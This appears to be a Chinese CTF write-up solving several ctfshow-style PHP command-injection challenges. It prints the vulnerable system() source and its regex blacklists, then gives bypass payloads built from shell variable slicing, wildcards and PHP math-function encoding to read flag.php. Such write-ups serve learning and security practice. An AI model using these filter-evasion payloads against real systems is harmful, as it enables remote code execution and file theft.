1 2 3 4 5 6 7 8 然后就需要构造 4 这个字符了,这里可以使用RANDOM RANDOM是一个变量值,随机出现整数,范围为:0~32767 虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样 如果需要每次产生的随机数顺序不一样的话,可以在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子 回到构造 4 这个字符上,再Linux中,${#xxx}显示的是这个数值的位数,而如果不加 # 的话就是显示这个数原本的值,比如12345再加上#后就是5 在RANDOM中产生的随机数可以是1、2、3、4、5这个5个数,但1,2,3这三个出现的概率很低,所以基本上是4或5,因此如果要使用RANDOM的话其实也有碰运气的成分在里面,没准就撞到了正确的数
构造4:
1 ${#RANDOM} // 也有可能是1、2、3、5,多试几次应该还是能成的,不然就是你太背了
知道两个字符的构造后,进行命令的整体构造:
1 2 code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.??? /bin/base64 flag.php 这里其实${IFS}可以不用直接用空格,因为没禁
web120
题目描述
flag in flag.php
解题思路
终于给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
多过滤了HOME且payload长度不超过64
简单把${IFS}换成空格就可以了
我们也可构造其他函数如/bin/cat flag.php
payload:
1 ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
题目描述
师傅们 留口饭吃
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
1 把我们的SHLVL和~给过滤了,我们可以用${#?}代替
payload:
1 2 code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? /bin/base64 flag.php
我们也可构造/bin/rev
payload:
1 2 3 4 5 6 code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.??? 即code=/???/??v ????.??? code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? 即code=/???/r?? ????.???
web121
题目描述
师傅们 留口饭吃
解题思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
过滤了PWD、#但放出了HOME
需要说明的是:/ 可以通过 HOME 获取,需要数字1,但 # 也被过滤了
$? 表示上一条命令执行结束后的传回值。通常0表示执行成功,非0表示执行有误
有部分指令执行失败时会返回1,也有一些命令返回其他值,表示不同类型的错误
比如Command not found就会返回127
为了能让 $? 能够返回1,则需要让前一条命令是错误的,这个错误命令的返回值就是1
这里的话可以用 <A
1 2 <A 提示的错误是no such file or dictionary,它对应的error code 是2 但是 $? 的结果是1
然后是选构造的命令
这里选择使用的是:/bin/base64 毕竟${RANDOM}没有被禁用
所以需要构造 /???/???4
1 2 code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? 即:/???/?????4 ????.???
概率大概是十分之一,拼人品的时候来了
<A 先让指令执行错误,然后 $? 取到的值就为1了
web124
题目描述
RCE
解题思路
思路是利用php动态函数构造
1 c=$_GET ['a' ]($_GET ['b' ])&a=system&b=cat flag
[]过滤用{}绕过
根据源码提示 _GET用php数学函数编码绕过
常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
1 2 3 4 base_convert (37907361743 ,10 ,36 ) = hex2bindechex (1598506324 ) = 5 f474554hex2bin ("5f474554" ) = _GETbase_convert (37907361743 ,10 ,36 )(dechex (1598506324 )) = _GET
注意要求长度小于80,可利用php可变变量缩短长度,变量名从白名单中选取
payload:?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{cos}($$abs{exp})&cos=system&exp=cat flag.php